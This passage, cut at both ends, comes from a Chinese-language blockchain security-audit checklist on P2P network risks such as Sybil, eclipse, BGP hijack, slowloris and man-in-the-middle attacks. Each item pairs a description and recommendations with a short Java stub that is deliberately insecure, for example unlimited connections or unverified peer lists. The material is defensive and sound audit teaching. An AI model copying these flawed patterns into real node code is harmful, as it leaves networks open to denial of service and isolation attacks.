class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sensitiveOperation</span><span class="params">(String caller)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果只要roles.containsKey(caller)就放行</span></span><br><span class="line">        <span class="comment">// 而不判断是否ADMIN</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>采用 RBAC（基于角色的访问控制）模型或 ACL；</li><li>对关键操作需管理员或多签；</li><li>定期审计角色权限配置。</li></ol></li></ul><h2 id="P2P网络安全审计">P2P网络安全审计</h2><p>区块链系统往往基于点对点（P2P）网络模型，各节点（对等体）既提供服务又消费网络资源。若P2P层缺乏安全策略，整个系统易遭受拒绝服务、网络隔离、女巫攻击等。以下从“连接安全”、“网络攻击防护”、“节点安全”、“协议安全”多角度审视常见风险，并提供相应改进方案。</p><p>在详细展开每个子项前，先通过一个对比表列出若干典型的P2P攻击类型，帮助读者快速区分它们的手段与影响范围。</p><table><thead><tr><th>攻击类型</th><th>主要手段</th><th>是否需大量资源</th><th>是否涉及路由劫持</th><th>攻击目标</th><th>典型案例/影响</th></tr></thead><tbody><tr><td><strong>女巫攻击</strong></td><td>伪造大量节点ID，占据网络名额</td><td>中等，看生成ID成本</td><td>否</td><td>单节点或全网的对等池</td><td>可能导致51%攻击或节点可信度下降</td></tr><tr><td><strong>日蚀攻击</strong></td><td>控制目标节点全部连接，使其隔离</td><td>中等，需控制足够IP或连接</td><td>否</td><td>单节点或少数节点</td><td>目标节点与真实网络断联</td></tr><tr><td><strong>外星攻击</strong></td><td>发送跨协议或错误数据包；注入无效节点</td><td>不一定</td><td>否</td><td>全网对等池或单节点</td><td>消耗节点资源，扰乱拓扑</td></tr><tr><td><strong>BGP劫持</strong></td><td>劫持互联网路由（BGP），重定向流量</td><td>高，需具备路由访问</td><td><strong>是</strong></td><td>全网或大区域节点</td><td>使节点流量被劫持，导致日蚀</td></tr><tr><td><strong>慢速/DoS攻击</strong></td><td>短时内发起大量连接or极慢传输等</td><td>低~中，视网络与节点情况</td><td>否</td><td>单节点或全网性能</td><td>资源耗尽，节点崩溃或大规模故障</td></tr></tbody></table><blockquote><p>外星攻击(Alien Attack) 一般出现在一些安全研究文献或社区讨论中，指不属于本链协议的节点或数据包大量涌入，干扰正常节点路由或消息处理。<br>BGP劫持 则有更多现实攻击案例，可参见 RFC 4271 或相关网络安全事件报道。<br>要想全面保障P2P层安全，需从以下几个方面入手：</p></blockquote><ol><li>连接数与资源调度：设置合理的最大连接、区分入站/出站、控制同一IP连接数上限，并进行带宽及超时管理，防止DoS和洪水攻击。</li><li>协议与消息验证：为握手过程、消息转发等设定严格规则（如大小限制、签名校验、FUZZ测试）来减少无效数据的泛滥或被篡改的风险。</li><li>网络拓扑多样性：保持节点在不同AS、地理区域分散，避免日蚀攻击或单点故障；关键节点可使用VPN/专线、TLS/IPSec等方式加密通信。</li><li>节点发现与引导安全：对路由表、引导节点进行安全审计，并监控异常节点或虚假peer，及时踢除并警示。</li><li>应对路由层劫持：关注 BGP 劫持与中间人攻击风险，对核心节点的网络路由进行加密或专线隔离。</li></ol><p>通过对连接安全、网络攻击防护、节点安全、协议安全的系统化审计与加固，区块链P2P网络才能在高负载、恶意攻击等环境下保持较强的稳定性与可用性，确保整个链的安全与去中心化。</p><h3 id="A-连接安全">A. 连接安全</h3><h4 id="A1-节点连接数审计">A1. 节点连接数审计</h4><ul><li><p><strong>Description</strong></p><p>区块链节点通常会与多个对等节点（peers）建立连接。如果没有合理的连接数限制或策略，节点可能因为连接过多而导致资源耗尽（CPU、内存、带宽），或因为连接过少而影响区块同步和网络拓扑的健壮性。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>默认设置允许无限制地接受新连接；</li><li>未对出站连接、入站连接及总连接数进行限制；</li><li>缺少资源检测和动态调整机制。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High（取决于节点角色和系统规模）</p></li><li><p><strong>Impact</strong></p><ul><li>节点可能出现性能瓶颈或被 DoS；</li><li>重要节点遭到连接资源占用，正常服务受影响。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PeerManager</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> List&lt;Peer&gt; connectedPeers = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onNewConnection</span><span class="params">(Peer peer)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果没有任何限制</span></span><br><span class="line">        connectedPeers.add(peer);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>设置最大连接数上限（如 maxConnections = 125 等）。</li><li>区分入站与出站连接，保证一定数量的出站连接以获取最新区块数据。</li><li>监控节点负载，动态调整可用连接数。</li></ol></li></ul><h4 id="A2-P2P最大连接限制">A2. P2P最大连接限制</h4><ul><li><p><strong>Description</strong></p><p>当网络中出现大量并发连接请求时，如果没有最大连接限制，可能出现连接泛滥导致拒绝服务。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>忽视了在不同系统环境（云服务器/物理机）下的资源限制；</li><li>未设置 <code>maxconnections</code> 或配置项来限制 P2P 连接。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>节点资源被占满，无法处理正常请求；</li><li>容易引发拒绝服务攻击或连接异常。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConnectionConfig</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">MAX_CONNECTIONS</span> <span class="operator">=</span> <span class="number">100</span>; <span class="comment">// 如果设置为-1或无限，将有风险</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>根据机器性能合理设置 <code>maxConnections</code>，超出限制后拒绝新连接；</li><li>在运维监控中关注连接使用率，出现异常时自动限流或清退不活跃连接。</li></ol></li></ul><h4 id="A3-入站-出站连接限制">A3. 入站/出站连接限制</h4><ul><li><p><strong>Description</strong></p><p>入站连接是外部节点主动连接该节点，出站连接是该节点主动连接到其他节点。若缺少分开限制，可能造成入站洪水攻击或出站资源浪费。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>将所有连接都视为同等处理；</li><li>未为出站连接保留名额，造成节点无法主动连接更优节点。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>节点被大量入站请求淹没；</li><li>无法保持足够的出站连接来及时获取区块、交易信息。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NodeConnectionManager</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">maxInbound</span> <span class="operator">=</span> <span class="number">80</span>;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">maxOutbound</span> <span class="operator">=</span> <span class="number">20</span>;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>将入站和出站连接分配配额（如 80/20）；</li><li>对入站连接进行限制及黑白名单机制；</li><li>确保一定数量的出站连接可用以拉取最新区块。</li></ol></li></ul><h4 id="A4-独立IP连接限制">A4. 独立IP连接限制</h4><ul><li><p><strong>Description</strong></p><p>如果同一 IP（或同一子网）可以建立大量连接，可能是女巫攻击的表现。需要限制同一IP的连接数以防止恶意节点滥用。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未对 IP 做统计和限制；</li><li>攻击者可伪造或使用代理批量占用连接。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>节点被虚假IP大量连接占据；</li><li>减少了节点的真实可用对等节点，影响网络拓扑。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">IpLimit</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Integer&gt; ipConnectionCount = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onConnect</span><span class="params">(String ip)</span> &#123;</span><br><span class="line">        ipConnectionCount.put(ip, ipConnectionCount.getOrDefault(ip, <span class="number">0</span>) + <span class="number">1</span>);</span><br><span class="line">        <span class="comment">// if ipConnectionCount.get(ip) &gt; THRESHOLD, reject new connection</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>限制同一IP最多可建立多少条连接（如 3～5 条）；</li><li>使用子网识别并限制同一子网的连接数；</li><li>配合灰名单策略，若同一IP出现恶意行为则暂时拒绝连接。</li></ol></li></ul><h4 id="A5-超多连接测试">A5. 超多连接测试</h4><ul><li><p><strong>Description</strong></p><p>在主网上线前或大型更新后，缺乏对极端连接场景（如万级连接并发）的压力测试，可能导致节点在高负载下崩溃或性能急剧下降。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未进行大规模节点连接数压力测试；</li><li>网络编程或 I/O 模型（线程池、事件驱动等）不够健壮。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>生产环境一旦出现大规模连接，节点无法承受导致宕机；</li><li>影响整个网络的稳定性。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ConnectionStressTest</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="comment">// 模拟上万条TCP连接并发连入节点</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在测试环境进行高负载连接压力测试；</li><li>优化网络I/O模型（如使用异步非阻塞框架）；</li><li>提前配置超时、最大并发连接、防火墙等防护。</li></ol></li></ul><h4 id="A6-节点对等池污染检查">A6. 节点对等池污染检查</h4><ul><li><p><strong>Description</strong></p><p>恶意节点可能通过伪造的 peers 列表（neighbors 消息等）向目标节点推送大量无效或错误链的节点地址，污染对等池，使真实节点难以被发现。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>节点发现机制中未对新节点来源做校验；</li><li>直接将他人推送的地址无差别写入本地地址池。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>节点连接的 peers 大多为无效或敌对节点；</li><li>同链节点难以形成稳定网络拓扑，陷入分区或孤立。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PeerDiscovery</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onNeighborsMessage</span><span class="params">(List&lt;String&gt; newNodes)</span> &#123;</span><br><span class="line">        <span class="comment">// 直接全部加入本节点的对等池</span></span><br><span class="line">        peerList.addAll(newNodes);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在发现阶段添加网络 ID、链 ID、版本校验；</li><li>限制 neighbors 消息携带的节点数量；</li><li>对新节点地址进行探测和验证，若长时间不响应则剔除。</li></ol></li></ul><h4 id="A7-连接超时处理">A7. 连接超时处理</h4><ul><li><p><strong>Description</strong></p><p>未对连接建立或握手过程设置超时，可能导致大量半连接或长时间无响应连接占用资源。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>缺省默认超时时间太长或无限；</li><li>没有检查握手应答是否在预期时间内完成。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>连接资源被无效连接长时间占用；</li><li>易被慢速攻击（slowloris攻击等）利用。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HandshakeManager</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">startHandshake</span><span class="params">(Peer peer)</span> &#123;</span><br><span class="line">        <span class="comment">// if no timeout is configured, a malicious peer can stall handshake</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>设置合理的连接建立和握手超时（如 5～15 秒）；</li><li>若在超时内无法完成握手，则断开该连接；</li><li>监控连接过程中的 RTT（往返时延），识别异常慢连接。</li></ol></li></ul><h4 id="A8-带宽使用控制">A8. 带宽使用控制</h4><ul><li><p><strong>Description</strong></p><p>节点需要传输区块、交易等数据，占用带宽资源。若没有带宽控制策略，容易出现数据洪流或被滥用作流量中继。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>无带宽限速或优先级管理机制；</li><li>高速节点被当做免费代理来传输大流量。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>影响节点本身及所在网络的正常使用；</li><li>成本上升，甚至被运营商封锁端口。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BandwidthController</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">MAX_UPLOAD_MBPS</span> <span class="operator">=</span> <span class="number">10</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">long</span> <span class="variable">MAX_DOWNLOAD_MBPS</span> <span class="operator">=</span> <span class="number">10</span>;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>对出站和入站流量进行限速；</li><li>实现优先级队列，优先传输区块头、交易等关键数据；</li><li>监控实时带宽使用，及时告警或拒绝异常大流量。</li></ol></li></ul><h3 id="B-网络攻击防护">B. 网络攻击防护</h3><h4 id="B1-P2P拒绝服务攻击审计">B1. P2P拒绝服务攻击审计</h4><ul><li><p><strong>Description</strong></p><p>攻击者通过短时间内向节点发送海量连接或请求数据（区块、交易），使节点耗尽资源，无法对外提供服务。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未对消息频率、数据大小、连接数等进行限制；</li><li>消息处理逻辑过于复杂或单线程阻塞，易被小流量耗尽CPU。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>节点卡死、崩溃或网络分区；</li><li>在区块链系统中产生大面积连锁影响。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">DoSHandler</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onMessage</span><span class="params">(Message msg)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果 msg 太大或频率过高，也不做限制</span></span><br><span class="line">        processMessage(msg);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>对消息大小和发送频率做限制，如令牌桶或漏斗算法；</li><li>使用多线程或异步处理，防止单点阻塞；</li><li>一旦检测可疑行为，断开连接并列入黑名单。</li></ol></li></ul><h4 id="B2-女巫攻击审计">B2. 女巫攻击审计</h4><ul><li><p><strong>Description</strong></p><p>攻击者通过大量伪造或“克隆”节点ID，让目标节点认为这些节点都是正常对等节点，但实则都被同一实体控制，形成女巫攻击。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>生成新节点ID的成本过低；</li><li>节点发现机制无强身份验证。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>网络中存在大量恶意节点，不同看似独立的ID实际同源；</li><li>攻击者可更容易发起 51% 攻击或日蚀攻击。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 如果只要随机生成nodeId就能加入网络</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">NodeIdentity</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">String</span> <span class="variable">nodeId</span> <span class="operator">=</span> generateRandomId();</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>提升节点ID生成成本（例如需抵押或 PoW 过程）；</li><li>根据 IP、ASN、地理位置等做多维度校验；</li><li>引入信誉度或Staking机制，降低女巫攻击性价比。</li></ol></li></ul><h4 id="B3-日蚀攻击审计">B3. 日蚀攻击审计</h4><ul><li><p><strong>Description</strong></p><p>攻击者通过控制目标节点所有或绝大部分连接，使其与外界隔离，只接收到攻击者伪造的数据（交易、区块）。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>节点连接对等池过少或易被控制；</li><li>没有对节点IP或地理位置进行分散化策略。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>被攻击节点与真正的区块链网络失联，收到伪造区块；</li><li>可能在重连后造成双花或分叉。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">EclipseScenario</span> &#123;</span><br><span class="line">    <span class="comment">// 如果节点只连接了2-3个peer,</span></span><br><span class="line">    <span class="comment">// 攻击者可以轻易伪造这几个peer将节点包围</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>尽量维持足够多的连接，且分散到不同AS或地理区域；</li><li>定期更换出站连接，随机化节点发现；</li><li>引入对等池健康检测，及时发现“被包围”现象。</li></ol></li></ul><h4 id="B4-外星攻击-Alien-Attack-审计">B4. 外星攻击(Alien Attack)审计</h4><ul><li><p><strong>Description</strong></p><p>“外星攻击”有时被用来描述跨网络或跨协议的错误节点或无关节点大规模连接，干扰正常节点的组网。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>P2P 协议未区分网络ID/链ID；</li><li>节点端口对外暴露，任意TCP连接都能发送不符合协议的数据包。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>大量错误或无效消息导致节点处理资源被占用；</li><li>对等池中出现非本链节点，扰乱网络。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ProtocolHandler</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onReceivePacket</span><span class="params">(<span class="type">byte</span>[] packet)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果没有校验chainId或magicNumber</span></span><br><span class="line">        <span class="comment">// 来自其他链或协议的packet也会被解析</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>在握手阶段校验网络标识、协议版本等信息；</li><li>端口只接受符合预期协议格式的连接，及时丢弃异常包；</li><li>若检测到大量非法包，进行IP封禁或速率限制。</li></ol></li></ul><h4 id="B5-BGP劫持攻击审计">B5. BGP劫持攻击审计</h4><ul><li><p><strong>Description</strong></p><p>区块链节点通常在互联网环境下通过IP互联，若发生 BGP 路由劫持，攻击者可将目标节点流量重定向至恶意服务器，实现截断或中间人攻击。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>公网路由并非加密，BGP协议本身存在信任问题；</li><li>节点没有使用安全通道（VPN / TLS）来保证通信。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>节点数据可被拦截、篡改；</li><li>触发日蚀攻击或流量分析。</li></ul></li><li><p><strong>Example Code</strong></p><p>无法直接通过Java代码示例，但网络层面存在此风险。</p></li><li><p><strong>Recommendation</strong></p><ol><li>在关键节点之间使用专线或VPN，减少公网上的路由风险；</li><li>针对核心节点部署 TLS/IPSec 等加密通道；</li><li>定期监控路由信息，发现异常时立即告警。</li></ol></li></ul><h4 id="B6-窃听攻击审计">B6. 窃听攻击审计</h4><ul><li><p><strong>Description</strong></p><p>P2P明文通信环境下，攻击者可以被动监听节点间数据，获取交易、地址等隐私信息。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>协议未使用加密；</li><li>默认端口通信为明文。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>用户隐私暴露；</li><li>攻击者可分析交易流向，进行精准打击或前置交易。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PlainTextChannel</span> &#123;</span><br><span class="line">    <span class="comment">// 如果所有消息都通过plain socket发送</span></span><br><span class="line">    <span class="comment">// 攻击者可监听流量获取关键信息</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>使用加密的P2P协议（如 Noise、TLS 或 devp2p加密握手）；</li><li>避免直接暴露交易等敏感信息；</li><li>可以在协议层进行数据分段和混淆，降低流量分析精度。</li></ol></li></ul><h4 id="B7-慢速攻击检查">B7. 慢速攻击检查</h4><ul><li><p><strong>Description</strong></p><p>与拒绝服务类似，攻击者可通过“慢速发送”或“慢速接收”的方式，占用节点的处理线程或连接资源，造成阻塞。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>默认网络库或应用逻辑没有限制单个请求的时间或速率；</li><li>攻击者可以不断发送小片数据，让连接保持长时间“活着”。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>节点线程长时间等待I/O；</li><li>可导致处理队列阻塞，影响正常消息。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SlowlorisHandler</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">readData</span><span class="params">(Socket socket)</span> <span class="keyword">throws</span> IOException &#123;</span><br><span class="line">        <span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> socket.getInputStream();</span><br><span class="line">        <span class="comment">// 如果一直阻塞等待数据，且对方故意每秒发1字节</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>对每个连接设定数据发送/接收超时；</li><li>当速率过慢时断开连接或降级处理；</li><li>使用异步非阻塞 I/O 减少对单个连接的依赖。</li></ol></li></ul><h4 id="B8-中间人攻击防护">B8. 中间人攻击防护</h4><ul><li><p><strong>Description</strong></p><p>在无加密或无身份认证的P2P连接中，攻击者可劫持并修改通信数据。例如，交换的区块头或交易被篡改。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未进行握手密钥交换或消息完整性校验；</li><li>节点未验证对方公钥或ID。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>节点接受到被篡改的区块数据、导致分叉；</li><li>攻击者可以记录并伪造大量交易信息。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">InsecureHandshake</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">handshake</span><span class="params">(Peer p)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果只传递明文的PeerID，攻击者可冒充</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li>使用端对端加密握手（如 ECDH 交换密钥）；</li><li>验证对方节点的公钥或证书；</li><li>对关键数据进行签名或HMAC校验。</li></ol></li></ul><h4 id="B9-流量分析攻击防护">B9. 流量分析攻击防护</h4><ul><li><p><strong>Description</strong></p><p>即使通信加密，攻击者也可通过流量模式判断出节点行为、交易发送频率等隐私信息。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>节点缺少随机化或混淆机制；</li><li>攻击者可监测网络包大小、时间间隔等特征。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>用户交易习惯或大额转账被分析，导致前置交易或跟踪。</li><li>隐私保护失效。</li></ul></li><li><p><strong>Example Code</strong></p><p>无法通过Java直接示例，但网络流量形态是可被分析的。</p></li><li><p><strong>Recommendation</strong></p><ol><li>采用覆盖流量或延迟策略，降低可分析性；</li><li>将消息打包成固定长度切片；</li><li>引入混淆节点或匿名路由（类似Tor）进行保护。</li></ol></li></ul><h3 id="C-节点安全">C. 节点安全</h3><h4 id="C1-核心节点数量检查">C1. 核心节点数量检查</h4><ul><li><p><strong>Description</strong></p><p>在PoS/BFT类网络中，“核心节点”或“验证者”数量不足或过于集中，会影响网络容错和去中心化程度。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>节点质押成本过高，少数大户掌握大部分核心节点；</li><li>验证者节点资格门槛过低，导致质量参差不齐。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>容易出现合谋、垄断或单点故障；</li><li>共识安全性、去中心化受到质疑。</li></ul></li><li><p><strong>Example Code</strong></p><p>这里更多是架构层面，无典型Java代码。</p></li><li><p><strong>Recommendation</strong></p><ol><li>监控核心节点数量及其分布；</li><li>引入激励或罚没机制鼓励更多节点参与；</li><li>定期审计节点上线率、区块打包统计。</li></ol></li></ul><h4 